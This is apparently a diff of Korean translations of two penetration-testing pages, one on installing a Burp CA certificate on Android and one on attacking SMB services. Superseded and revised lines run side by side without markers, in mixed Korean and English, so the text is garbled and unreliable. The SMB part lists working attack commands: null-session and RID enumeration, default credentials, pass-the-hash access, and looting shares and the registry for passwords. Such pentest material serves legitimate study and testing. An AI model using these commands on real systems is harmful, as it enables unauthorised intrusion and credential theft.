**Der 형식으로 인증서를 내보내기**한 다음 **변환**하여 **Android**가 **이해할 수 있는** 형태로 만듭니다. **AVD의 Android 머신에 burp 인증서를 구성하려면** 이 머신을 **`-writable-system`** 옵션과 **함께** **실행**해야 한다는 점을 유의하세요.\
**Der 형식으로 인증서를 내보낸 다음** 이를 **Android**가 이해할 수 있는 형태로 **변환**합시다. 참고로 **AVD의 Android 머신에 burp 인증서를 구성하려면** 이 머신을 **`-writable-system`** 옵션과 함께 **실행**해야 합니다.\
예를 들어 다음과 같이 실행할 수 있습니다:
```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -http-proxy 192.168.1.12:8080 -writable-system
@ -37,43 +37,43 @@ adb shell mv /sdcard/$CERTHASHNAME /system/etc/security/cacerts/ #Move to correc
adb shell chmod 644 /system/etc/security/cacerts/$CERTHASHNAME #Assign privileges
adb reboot #Now, reboot the machine
```
머신이 **재부팅을 마치면** Burp certificate가 사용됩니다!
Once the **machine finish rebooting** the burp certificate will be in use by it!
## Magisc 사용하기
만약 당신이 **Magisc로 기기를 루트(root)화했다**(에뮬레이터일 수 있음)면, 이전에 Burp cert를 설치하는 **단계들**을 따라할 수 없고 그 이유가 **파일시스템이 읽기 전용(read-only)**이라 remount로 쓰기 가능하게 만들 수 없다면, 다른 방법이 있습니다.
If you **rooted your device with Magisc** (maybe an emulator), and you **can't follow** the previous **steps** to install the Burp cert because the **filesystem is read-only** and you cannot remount it writable, there is another way.
[**this video**](https://www.youtube.com/watch?v=qQicUW0svB8)에 설명된 것처럼, 다음을 수행해야 합니다:
Explained in [**this video**](https://www.youtube.com/watch?v=qQicUW0svB8) you need to:
1. **CA certificate 설치**: DER Burp certificate 파일의 확장자를 `.crt`**변경한 후** 모바일로 **드래그&드롭**하여 Downloads 폴더에 저장하고 `Install a certificate` -> `CA certificate`로 이동합니다
1. **Install a CA certificate**: Just 드래그&드롭 the DER Burp certificate **changing the extension** to `.crt` in the mobile so it's stored in the Downloads folder and go to `Install a certificate` -> `CA certificate`
<figure><img src="../../images/image (53).png" alt="" width="164"><figcaption></figcaption></figure>
- 인증서가 제대로 저장되었는지 `Trusted credentials` -> `USER`로 이동해 확인하세요
- 인증서가 제대로 저장되었는지 확인하려면 `Trusted credentials` -> `USER`로 이동하세요
<figure><img src="../../images/image (54).png" alt="" width="334"><figcaption></figcaption></figure>
2. **System trusted로 만들기**: Magisc 모듈 [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (.zip 파일)를 다운로드한 뒤, 폰에 **드래그&드롭**하고 폰의 **Magics app**에서 **`Modules`** 섹션으로 들어가 **`Install from storage`**를 클릭해 `.zip` 모듈을 선택하여 설치한 다음 폰을 **재부팅**합니다:
2. **Make it System trusted**: Download the Magisc module [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (a .zip file), 드래그&드롭 it in the phone, go to the Magics app in the phone to the `Modules` section, click on `Install from storage`, select the `.zip` module and once installed **reboot** the phone:
<figure><img src="../../images/image (55).png" alt="" width="345"><figcaption></figcaption></figure>
- 재부팅 후 `Trusted credentials` -> `SYSTEM`로 이동해 Postswigger cert가 있는지 확인하세요
- Reboot 후 `Trusted credentials` -> `SYSTEM`으로 가서 Postswigger cert가 있는지 확인하세요
<figure><img src="../../images/image (56).png" alt="" width="314"><figcaption></figcaption></figure>
### Magisc 모듈 만드는 법 배우기
다음 링크를 확인하세요: https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437
확인: https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437
## Android 14 이후
최신 Android 14 릴리스에서는 system-trusted Certificate Authority (CA) 인증서 처리 방식에 큰 변화가 있었습니다. 이전에는 이 인증서들이 **`/system/etc/security/cacerts/`**에 위치해 있어 root 권한이 있는 사용자가 접근·수정할 수 있었고 시스템 전체에 즉시 적용되었습니다. 그러나 Android 14에서는 저장 위치가 **`/apex/com.android.conscrypt/cacerts`**로 이동했으며, 이는 **`/apex`** 경로 내의 디렉토리로 본질적으로 변경 불가능(immutable)합니다.
최신 Android 14 릴리스에서는 시스템 신뢰 Certificate Authority(CA) 인증서 처리 방식에 큰 변화가 있었습니다. 이전에는 이러한 인증서가 **`/system/etc/security/cacerts/`**에 위치해 있어 root 권한이 있는 사용자가 수정할 수 있었고, 시스템 전체에 즉시 적용될 수 있었습니다. 그러나 Android 14에서는 저장 위치가 **`/apex/com.android.conscrypt/cacerts`**로 이동되었으며, 이는 **`/apex`** 경로 내의 디렉터리로 본질적으로 불변(immutable)입니다.
**APEX cacerts path**를 쓰기 가능하도록 remount하려는 시도는 시스템에서 허용되지 않아 실패합니다. 디렉토리를 언마운트하거나 tmpfs로 오버레이해도 불변성을 우회하지 못하며, 파일시스템 수준에서 변경을 가해도 애플리케이션은 여전히 원본 인증서 데이터를 참조합니다. 이는 **`/apex`** 마운트가 PRIVATE propagation으로 설정되어 있어 **`/apex`** 내의 변경이 다른 프로세스에 영향을 주지 않도록 하기 때문입니다.
`APEX cacerts path`를 쓰기 가능하게 remount하려는 시도는 실패로 돌아갑니다. 시스템이 이러한 작업을 허용하지 않습니다. tmpfs로 디렉터리를 언마운트하거나 오버레이하려는 시도도 불변성을 우회하지 못합니다; 애플리케이션들은 파일 시스템 수준의 변경과 관계없이 원래의 인증서 데이터를 계속 참조합니다. 이는 **`/apex`** 마운트가 PRIVATE propagation으로 구성되어 있어 **`/apex`** 디렉터리 내의 변경이 다른 프로세스에 영향을 미치지 않기 때문입니다.
Android 초기화`init` 프로세스가 운영체제를 시작하면서 Zygote 프로세스를 기동하는 과정을 포함합니다. Zygote는 새로운 마운트 네임스페이스를 가진 애플리케이션 프로세스를 시작하는 역할을 하며, 이 네임스페이스에는 private **`/apex`** 마운트가 포함되어 있어 해당 디렉토리에 대한 변경이 다른 프로세스와 격리됩니다.
Android 초기화 과정은 `init` 프로세스가 운영체제를 시작하면서 Zygote 프로세스를 함께 시작하는 것을 포함합니다. 이 프로세스는 새로운 마운트 네임스페이스와 함께 애플리케이션 프로세스를 실행하며, 여기에는 private **`/apex`** 마운트가 포함되어 이 디렉터리에 대한 변경을 다른 프로세스와 격리합니다.
그럼에도 불구하고 **`/apex`** 디렉토리 내의 system-trusted CA 인증서를 수정해야 하는 경우에 대한 우회 방법이 있습니다. 이 방법은 **`/apex`**의 PRIVATE propagation을 제거하기 위해 수동으로 remount하는 것으로, 이렇게 하면 쓰기가 가능해집니다. 절차는 **`/apex/com.android.conscrypt`**의 내용을 다른 위치로 복사하고, **`/apex/com.android.conscrypt`** 디렉토리를 언마운트하여 읽기 전용 제약을 제거한 뒤, 내용을 원래의 **`/apex`** 위치로 복원하는 것입니다. 이 과정은 시스템 크래시를 피하기 위해 빠르게 진행해야 합니다. 변경사항을 시스템 전반에 적용하려면 모든 애플리케이션을 사실상 재시작하는 `system_server`를 재시작하는 것이 권장됩니다.
그럼에도 불구하고 **`/apex`** 디렉터리 내의 시스템 신뢰 CA 인증서를 수정해야 하는 경우를 위한 우회 방법은 존재합니다. 이 방법은 PRIVATE propagation을 제거하기 위해 수동으로 **`/apex`**를 재마운트(remount)하여 쓰기 가능하게 만드는 것을 포함합니다. 과정은 **`/apex/com.android.conscrypt`**의 내용을 다른 위치로 복사하고, 읽기 전용 제약을 제거하기 위해 **`/apex/com.android.conscrypt`** 디렉터리를 언마운트한 다음, 내용을 원래 위치인 **`/apex`** 내로 복원하는 것입니다. 이 방법은 시스템 크래시를 피하기 위해 신속하게 수행되어야 합니다. 변경 사항을 시스템 전체에 적용하려면 `system_server`를 재시작하는 것이 권장되며, 이는 모든 애플리케이션을 효과적으로 재시작하고 시스템을 일관된 상태로 만듭니다.
```bash
# Create a separate temp directory, to hold the current certificates
# Otherwise, when we add the mount we can't read the current certs anymore.
@ -131,26 +131,26 @@ wait # Launched in parallel - wait for completion here
echo "System certificate injected"
```
### NSEnter를 통한 Bind-mounting
### Bind-mounting through NSEnter
1. **쓰기 가능한 디렉터리 설정**: 처음에 기존의 non-APEX 시스템 인증서 디렉터리 위에 `tmpfs`를 마운트하여 쓰기 가능한 디렉터리를 생성합니다. 이는 다음 명령어로 수행됩니다:
1. **쓰기 가능한 디렉터리 설정**: 처음에 기존의 non-APEX 시스템 인증서 디렉터리 위에 `tmpfs`를 마운트하여 쓰기 가능한 디렉터리를 생성합니다. 다음 명령으로 수행합니다:
```bash
mount -t tmpfs tmpfs /system/etc/security/cacerts
```
2. **CA 인증서 준비**: 쓰기 가능한 디렉터리 설정 후, 사용하려는 CA 인증서를 이 디렉터리로 복사해야 합니다. 여기에는 `/apex/com.android.conscrypt/cacerts/`에서 기본 인증서를 복사하는 작업이 포함될 수 있습니다. 이러한 인증서들의 권한과 SELinux 라벨을 적절히 조정하는 것이 필수적입니다.
3. **Zygote를 위한 바인드 마운트**: `nsenter`를 사용하여 Zygote의 마운트 네임스페이스로 들어갑니다. Zygote는 Android 애플리케이션을 실행하는 프로세스이므로, 이후 시작되는 모든 애플리케이션이 새로 구성한 CA 인증서를 사용하도록 하기 위해 이 단계가 필요합니다. 사용되는 명령은:
2. **CA 인증서 준비**: 쓰기 가능한 디렉터리 설정 후, 사용하려는 CA 인증서를 이 디렉터리로 복사해야 합니다. 이 과정은 `/apex/com.android.conscrypt/cacerts/`에 있는 기본 인증서를 복사하는 작업을 포함할 수 있습니다. 이러한 인증서들의 권한 및 SELinux 라벨을 적절히 조정하는 것이 필수적입니다.
3. **Zygote를 위한 바인드 마운트**: `nsenter`를 사용하여 Zygote의 마운트 네임스페이스로 진입합니다. Android 애플리케이션을 시작하는 프로세스인 Zygote는 이후 시작되는 모든 애플리케이션이 새로 구성한 CA 인증서를 사용하도록 보장하기 위해 이 단계가 필요합니다. 사용되는 명령은:
```bash
nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
```
이렇게 하면 새로 시작되는 모든 앱이 업데이트된 CA 인증서 설정을 따르도록 보장됩니다.
이렇게 하면 시작되는 모든 새로운 앱이 업데이트된 CA 인증서 설정을 따르됩니다.
4. **실행 중인 앱에 변경사항 적용**: 이미 실행 중인 애플리케이션에 변경사항을 적용하려면, `nsenter`를 다시 사용하여 각 앱의 네임스페이스에 개별적으로 들어가 유사한 bind mount를 수행합니다. 필요한 명령은 다음과 같습니다:
4. **실행 중인 앱에 변경 사항 적용하기**: 이미 실행 중인 애플리케이션에 변경 사항을 적용하려면 `nsenter`를 다시 사용해 각 앱의 네임스페이스에 개별적으로 들어가 유사한 bind mount를 수행합니다. 필요한 명령은:
```bash
nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
```
5. **대체 방법 - 소프트 리부트**: 대체 방법으로는 `init` 프로세스 (PID 1)에 bind mount를 수행한 후 `stop && start` 명령으로 운영체제를 소프트 리부트하는 방식이 있습니다. 이 방법은 변경사항을 모든 네임스페이스에 전파하여 실행 중인 각 앱을 개별적으로 처리할 필요를 없애줍니다. 그러나 재부팅의 불편함 때문에 일반적으로 선호되지는 않습니다.
5. **대체 방법 - Soft Reboot**: 대체 방법으로는 `init` 프로세스 (PID 1)에 bind mount를 수행한 다음 `stop && start` 명령으로 운영체제를 soft reboot하는 방식이 있습니다. 이 방법은 변경사항이 모든 네임스페이스에 전파되어 실행 중인 각 앱을 개별적으로 처리할 필요를 없앱니다. 다만 재부팅의 번거로움 때문에 일반적으로 선호되지 않습니다.
## 참고 자료
## 참고자료
- [Android 14: Install a system CA certificate on a rooted device](https://httptoolkit.com/blog/android-14-install-system-ca-certificate/)
- [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools)

View File

@ -4,43 +4,43 @@
## **포트 139**
_**Network Basic Input Output System**_** (NetBIOS)** 은 로컬 영역 네트워크(LAN) 내의 애플리케이션, PC 및 데스크톱이 네트워크 하드웨어와 상호작용하고 **네트워크 상에서의 데이터 전송을 용이하게 합니다**. NetBIOS 네트워크에서 동작하는 소프트웨어 애플리케이션의 식별 및 위치 확인은 이들의 NetBIOS 이름을 통해 이루어지며, 이 이름은 최대 16자까지 가능하고 종종 컴퓨터 이름과 다릅니다. 두 애플리케이션 간의 NetBIOS 세션은 한 애플리케이션(클라이언트로 동작)이 다른 애플리케이션(서버로 동작)에 "call" 명령을 발행하여 **TCP Port 139** 를 이용할 때 시작됩니다.
The _**Network Basic Input Output System**_** (NetBIOS)** 은 로컬 영역 네트워크(LAN) 내의 애플리케이션, PC 및 데스크톱이 네트워크 하드웨어와 상호작용하고 **네트워크를 통한 데이터 전송을 용이하게 하는** 소프트웨어 프로토콜입니다. NetBIOS 네트워크에서 동작하는 소프트웨어 애플리케이션의 식별 및 위치 확인은 NetBIOS 이름을 통해 이루어지며, 해당 이름은 최대 16자까지 가능하고 종종 컴퓨터 이름과 다릅니다. 두 애플리케이션 간의 NetBIOS 세션은 한 애플리케이션(클라이언트 역할)이 다른 애플리케이션(서버 역할)을 "call" 하도록 명령을 발행할 때 **TCP Port 139**를 이용하여 시작됩니다.
```
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
```
## Port 445
기술적으로 Port 139은 NBT over IP로 불리고, 반면 Port 445는 SMB over IP로 식별됩니다. 약어 **SMB**는 **Server Message Blocks**’를 하며, 현대에는 **Common Internet File System (CIFS)**로도 알려져 있습니다. 애플리케이션 계층의 네트워크 프로토콜인 SMB/CIFS는 주로 파일, 프린터, 직렬 포트에 대한 공유 액세스를 가능하게 하고 네트워크 상의 노드들 간의 다양한 형태의 통신을 촉진하는 데 사용됩니다.
기술적으로, Port 139은 NBT over IP로 불리는 반면, Port 445는 SMB over IP로 식별됩니다. 약어 **SMB**는 **Server Message Blocks**’를 의미하며, 현대에는 **Common Internet File System (CIFS)**로도 알려져 있습니다. 애플리케이션 계층 네트워크 프로토콜로서 SMB/CIFS는 주로 파일, 프린터, 시리얼 포트에 대한 공유 접근을 가능하게 하고 네트워크 상의 노드 간 다양한 형태의 통신을 촉진하는 데 사용됩니다.
예를 들어 Windows 환경에서는 SMB가 port 445를 통해 NetBIOS over TCP/IP 없이 직접 TCP/IP 위에서 동작할 수 있음이 강조됩니다. 반대로 다른 시스템에서는 port 139를 사용하는 경우가 관찰되며, 이는 SMB가 NetBIOS over TCP/IP와 함께 실행되고 있음을 나타냅니다.
예를 들어, Windows 맥락에서는 SMB가 포트 445를 통해 TCP/IP 위에서 직접 작동할 수 있어 NetBIOS over TCP/IP가 불필요해진다는 점이 강조됩니다. 반대로 다른 시스템에서는 포트 139의 사용이 관찰되며, 이는 SMB가 NetBIOS over TCP/IP와 함께 실행되고 있음을 나타냅니다.
```
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
```
### SMB
The **Server Message Block (SMB)** 프로토콜은 **client-server** 모델로 동작하며 **access to files**, 디렉터리 및 프린터나 라우터와 같은 다른 네트워크 자원에 대한 접근을 규제하도록 설계되어 있습니다. 주로 **Windows** 계열 운영체제에서 사용되며, SMB는 하위 호환성을 제공하여 최신 버전의 Microsoft 운영체제를 사용하는 장치가 구버전 운영체제를 실행하는 장치와 원활하게 상호작용할 수 있게 합니다. 또한 **Samba** 프로젝트는 무료 소프트웨어 솔루션을 제공하여 **Linux****Unix** 시스템에서 SMB를 구현할 수 있게 하며, 이를 통해 플랫폼 간 SMB 통신이 가능합니다.
The **Server Message Block (SMB)** protocol, operating in a **client-server** model, is designed for regulating **access to files**, directories, and other network resources like printers and routers. Primarily utilized within the **Windows** operating system series, SMB ensures backward compatibility, allowing devices with newer versions of Microsoft's operating system to seamlessly interact with those running older versions. Additionally, the **Samba** project offers a free software solution, enabling SMB's implementation on **Linux** and **Unix** systems, thereby facilitating cross-platform communication through SMB.
Shares**arbitrary parts of the local file system**를 나타내며 SMB 서버가 이를 제공할 수 있어 클라이언트에 표시되는 계층 구조가 서버의 실제 구조와 일부 **independent**할 수 있습니다. **Access Control Lists (ACLs)**는 **access rights**를 정의하며 사용자 권한을 **fine-grained control**로 세밀하게 제어할 수 있게 해주며, 여기에는 **`execute`**, **`read`**, **`full access`** 같은 속성이 포함됩니다. 이러한 권한은 Shares를 기준으로 개별 사용자 또는 그룹에 할당될 수 있으며 서버에 설정된 로컬 권한과는 별개입니다.
Shares, representing **arbitrary parts of the local file system**, can be provided by an SMB server, making the hierarchy visible to a client partly **independent** from the server's actual structure. The **Access Control Lists (ACLs)**, which define **access rights**, allow for **fine-grained control** over user permissions, including attributes like **`execute`**, **`read`**, and **`full access`**. These permissions can be assigned to individual users or groups, based on the shares, and are distinct from the local permissions set on the server.
### IPC$ Share
IPC$ share에 대한 접근은 익명 null session을 통해 얻을 수 있으며, 이를 통해 named pipes로 노출된 서비스와 상호작용할 수 있습니다. 이 목적에는 유틸리티 `enum4linux`가 유용합니다. 적절히 사용하면 다음을 획득할 수 있습니다:
Access to the IPC$ share can be obtained through an anonymous null session, allowing for interaction with services exposed via named pipes. The utility `enum4linux` is useful for this purpose. Utilized properly, it enables the acquisition of:
- 운영 체제에 대한 정보
- 상위 도메인에 대한 세부 정보
- 운영체제 정보
- 상위 도메인 정보
- 로컬 사용자 및 그룹 목록
- 사용 가능한 SMB shares에 대한 정보
- 사용 가능한 SMB shares 정보
- 적용 중인 시스템 보안 정책
이 기능은 네트워크 관리자와 보안 전문가가 네트워크상의 SMB (Server Message Block) 서비스의 보안 상태를 평가하는 데 매우 중요합니다. `enum4linux`는 대상 시스템의 SMB 환경을 포괄적으로 보여주어 잠재적 취약점을 식별하고 SMB 서비스가 적절히 보호되고 있는지 확인하는 데 필수적입니다.
This functionality is critical for network administrators and security professionals to assess the security posture of SMB (Server Message Block) services on a network. `enum4linux` provides a comprehensive view of the target system's SMB environment, which is essential for identifying potential vulnerabilities and ensuring that the SMB services are properly secured.
```bash
enum4linux -a target_ip
```
위 명령은 `enum4linux``target_ip`로 지정된 대상에 대해 전체 열거를 수행하는 방법의 예입니다.
위 명령은 `enum4linux`를 사용해 `target_ip`로 지정한 대상에 대해 전체 열거를 수행하는 방법의 예입니다.
## NTLM이란 무엇인가
NTLM이 무엇인지 모르거나 작동 방식과 악용 방법을 알고 싶다면, **NTLM**에 관한 다음 페이지가 매우 흥미로울 것이며 이 프로토콜이 어떻게 동작하는지와 이를 어떻게 활용할 수 있는지가 설명되어 있습니다:
만약 **NTLM**이 무엇인지 모르거나 작동 방식과 악용 방법을 알고 싶다면, **NTLM**에 관한 이 페이지가 매우 흥미로울 것입니다. 이 페이지에는 **이 프로토콜이 어떻게 작동하는지와 이를 어떻게 활용할 수 있는지**가 설명되어 있습니다:
{{#ref}}
@ -55,9 +55,9 @@ nbtscan -r 192.168.0.1/24
```
### SMB 서버 버전
SMB 버전의 가능한 exploit을 찾으려면 사용 중인 버전을 아는 것이 중요합니다. 이 정보가 다른 도구에 나타나지 않는다면, 다음을 사용할 수 있습니다:
SMB 버전에 대한 가능한 익스플로잇을 찾기 위해서는 어떤 버전이 사용 중인지 아는 것이 중요합니다. 이 정보가 다른 도구 나타나지 않는다면, 다음을 사용할 수 있습니다:
- Use the **MSF** auxiliary module `**auxiliary/scanner/smb/smb_version**`
- **MSF** 보조 모듈 `**auxiliary/scanner/smb/smb_version**`
- 또는 이 스크립트:
```bash
#!/bin/sh
@ -75,21 +75,21 @@ tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
echo "" && sleep .1
```
### **검색 exploit**
### **exploit 검색**
```bash
msf> search type:exploit platform:windows target:2008 smb
searchsploit microsoft smb
```
### **가능한** 자격 증명
| **사용자명(들)** | **일반 비밀번호** |
| **사용자 이름(들)** | **일반 비밀번호** |
| -------------------- | ----------------------------------------- |
| _(빈칸)_ | _(빈칸)_ |
| guest | _(빈칸)_ |
| Administrator, admin | _(빈칸)_, password, administrator, admin |
| _(빈칸)_ | _(빈칸)_ |
| guest | _(빈칸)_ |
| Administrator, admin | _(빈칸)_, password, administrator, admin |
| arcserve | arcserve, backup |
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
| backupexec, backup | backupexec, backup, arcada |
| backupexec, backup | backupexec, backup, arcada |
| test, lab, demo | password, test, lab, demo |
### Brute Force
@ -98,7 +98,7 @@ searchsploit microsoft smb
### SMB 환경 정보
### 정보 수집
### 정보 획득
```bash
#Dump interesting information
enum4linux -a [-u "<username>" -p "<passwd>"] <IP>
@ -122,7 +122,7 @@ rpcclient -U "username%passwd" <IP> #With creds
```
### 사용자, 그룹 및 로그인한 사용자 열거
이 정보는 enum4linux 및 enum4linux-ng에서 이미 수집되었을 것입니다.
이 정보는 이미 enum4linux 및 enum4linux-ng에서 수집되었어야 합니다.
```bash
crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
@ -140,7 +140,7 @@ enumdomgroups
```bash
lookupsid.py -no-pass hostname.local
```
원라이너
한 줄 명령
```bash
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
```
@ -157,7 +157,7 @@ run
rpcclient-enumeration.md
{{#endref}}
### GUI 연결 (linux에서)
### Linux에서 GUI 연결
#### 터미널에서:
@ -169,9 +169,9 @@ rpcclient-enumeration.md
## 공유 폴더 열거
### 공유 폴더 목록
### 공유 폴더 나열
항상 접근 가능한 항목이 있는지 확인하는 것이 좋습니다. credentials가 없다면 **null** **credentials/guest user**를 사용해 보세요.
가능한 항목에 접근할 수 있는지 항상 확인하는 것이 좋습니다. 자격 증명이 없는 경우 **null** **credentials/guest user**를 사용해 보세요.
```bash
smbclient --no-pass -L //<IP> # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
@ -185,7 +185,7 @@ crackmapexec smb <IP> -u '' -p '' --shares #Null user
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user
```
### **공유 폴더 연결/목록**
### **공유 폴더 연결/목록 보기**
```bash
#Connect using smbclient
smbclient --no-pass //<IP>/<Folder>
@ -197,12 +197,11 @@ smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
```
### **수동으로 windows 공유를 열거하고 연결하기**
### **수동으로 Windows 공유를 열거하고 연결하기**
호스트 머신의 공유 조회가 제한되어 있어 목록을 시도할 때 연결 가능한 공유가 전혀 없는 것처럼 보일 수 있습니다. 따라서 수동으로 공유에 연결을 시도해보는 것이 좋습니다.
공유를 수동으로 열거하려면 유효한 세션(예: null session 또는 유효한 자격 증명)을 사용할 때 NT_STATUS_ACCESS_DENIED나 NT_STATUS_BAD_NETWORK_NAME 같은 응답을 확인해보세요. 이러한 응답은 해당 공유가 존재하지만 접근 권한이 없음을 나타내거나, 공유 자체가 존재하지 않음을 나타낼 수 있습니다.
호스트 머신의 공유 표시가 제한되어 있어 공유를 나열하려 할 때 연결할 수 있는 공유가 전혀 없는 것처럼 보일 수 있습니다. 따라서 수동으로 공유에 직접 연결을 시도해 보는 것이 좋습니다. 공유를 수동으로 열거하려면 유효한 세션(예: null session 또는 유효한 자격증명)을 사용할 때 NT_STATUS_ACCESS_DENIED 또는 NT_STATUS_BAD_NETWORK_NAME 같은 응답을 확인해 보십시오. 이 응답들은 공유가 존재하지만 접근 권한이 없음을 나타내거나, 공유가 아예 존재하지 않음을 알리는 신호일 수 있습니다.
windows 대상에서 흔한 공유 이름은 다음과 같습니다
Common share names for windows targets are
- C$
- D$
@ -213,14 +212,14 @@ windows 대상에서 흔한 공유 이름은 다음과 같습니다
- SYSVOL
- NETLOGON
(일반적인 공유 이름 — _**Network Security Assessment 3rd edition**_에서 발췌)
(일반적인 공유 이름 출처: _**Network Security Assessment 3rd edition**_)
다음 명령을 사용해 해당 공유에 연결을 시도할 수 있습니다
```bash
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
```
또는 이 스크립트 (null session을 사용하여)
또는 이 script (null session을 사용하여)
```bash
#/bin/bash
@ -237,12 +236,12 @@ echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD
fi
done
```
```bash
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
```
### **Windows에서 shares 열거하기 / 서드파티 도구 없이**
### **Windows에서 공유 열거 / 타사 도구 없이**
PowerShell
```bash
@ -261,14 +260,14 @@ net share
# List shares on a remote computer (including hidden ones)
net view \\<ip> /all
```
MMC Snap-in (그래픽 인터페이스)
MMC 스냅인 (그래픽)
```shell
# Shared Folders: Shared Folders > Shares
fsmgmt.msc
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
compmgmt.msc
```
explorer.exe (그래픽 인터페이스)에서 `\\<ip>\` 를 입력하면 사용 가능한 숨김이 아닌 공유를 볼 수 있습니다.
explorer.exe (graphical)에서 `\\<ip>\`를 입력하여 사용 가능한 non-hidden shares를 확인합니다.
### 공유 폴더 마운트
```bash
@ -277,7 +276,7 @@ mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
```
### **파일 다운로드**
이전 섹션을 읽어 credentials/Pass-the-Hash로 연결하는 방법을 배우세요.
이전 섹션을 읽어 credentials/Pass-the-Hash를 사용해 연결하는 방법을 알아보세요.
```bash
#Search a file and download
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
@ -294,12 +293,12 @@ smbclient //<IP>/<share>
```
명령어:
- mask: 디렉터리 내 파일을 필터링하는 데 사용되는 마스크를 지정합니다 (예: "" 는 모든 파일)
- recurse: 재귀 검색을 켜거나 끕니다 (기본값: 꺼짐)
- prompt: 파일명에 대한 프롬프트를 비활성화합니다 (기본값: 켜짐)
- mget: 마스크와 일치하는 모든 파일을 호스트에서 클라이언트로 복사합니다
- mask: 디렉터리 내 파일을 필터링하는 데 사용되는 마스크를 지정합니다 (e.g. "" for all files)
- recurse: 재귀 처리를 전환합니다 (기본값: off)
- prompt: 파일명 프롬프트를 전환합니다(기본값: on)
- mget: 호스트에서 클라이언트 머신으로 마스크에 일치하는 모든 파일을 복사합니다
(_smbclient의 manpage에서 가져온 정보_)
(_smbclient의 매뉴얼에서 가져온 정보_)
### 도메인 공유 폴더 검색
@ -313,15 +312,15 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data
```bash
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
```
Specially interesting from shares are the files called **`Registry.xml`** as they **passwords를 포함하고 있을 수 있습니다** for users configured with **autologon** via Group Policy. Or **`web.config`** files as they contains **credentials**.
공유에서 특히 흥미로운 파일은 **`Registry.xml`**인데, 이 파일은 Group Policy를 통해 **autologon**으로 구성된 사용자들의 **비밀번호를 포함할 수 있습니다**. 또는 자격증명이 들어있는 **`web.config`** 파일들도 있습니다.
> [!TIP]
> The **SYSVOL share** is **readable** by all authenticated users in the domain. In there you may **find** many different batch, VBScript, and PowerShell **scripts**.\
> You should **check** the **scripts** inside of it as you might **find** sensitive info such as **passwords**.
> **SYSVOL share**는 도메인 내 모든 인증된 사용자에게 **읽기 가능**합니다. 그 안에는 다양한 batch, VBScript, PowerShell **스크립트**들을 **찾을** 수 있습니다.\
> 내부의 **스크립트**들을 **확인**해야 합니다. 왜냐하면 **비밀번호**와 같은 민감한 정보가 포함되어 있을 수 있기 때문입니다.
## 레지스트리 읽기
You may be able to **레지스트리 읽기** using some discovered **credentials**. Impacket **`reg.py`** allows you to try:
발견한 자격증명을 사용해 **레지스트리를 읽을** 수 있을지도 모릅니다. Impacket **`reg.py`**를 사용해 시도해볼 수 있습니다:
```bash
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
@ -329,26 +328,26 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87
```
## Post Exploitation
**기본 설정 파일**은 **Samba** 서버에서 보통 `/etc/samba/smb.conf`에 위치하며 몇 가지 **위험한 설정**이 있을 수 있습니다:
**Samba** 서버의 **기본 구성**은 보통 `/etc/samba/smb.conf`에 위치하며 몇 가지 **위험한 설정**을 포함할 수 있습니다:
| **설정** | **설명** |
| --------------------------- | ------------------------------------------------------------------- |
| `browseable = yes` | 현재 서버에서 사용 가능한 공유를 나열할 수 있게 허용합니까? |
| `read only = no` | 파일 생성 및 수정을 금지합니까? |
| `writable = yes` | 사용자가 파일을 생성하고 수정할 수 있게 허용합니까? |
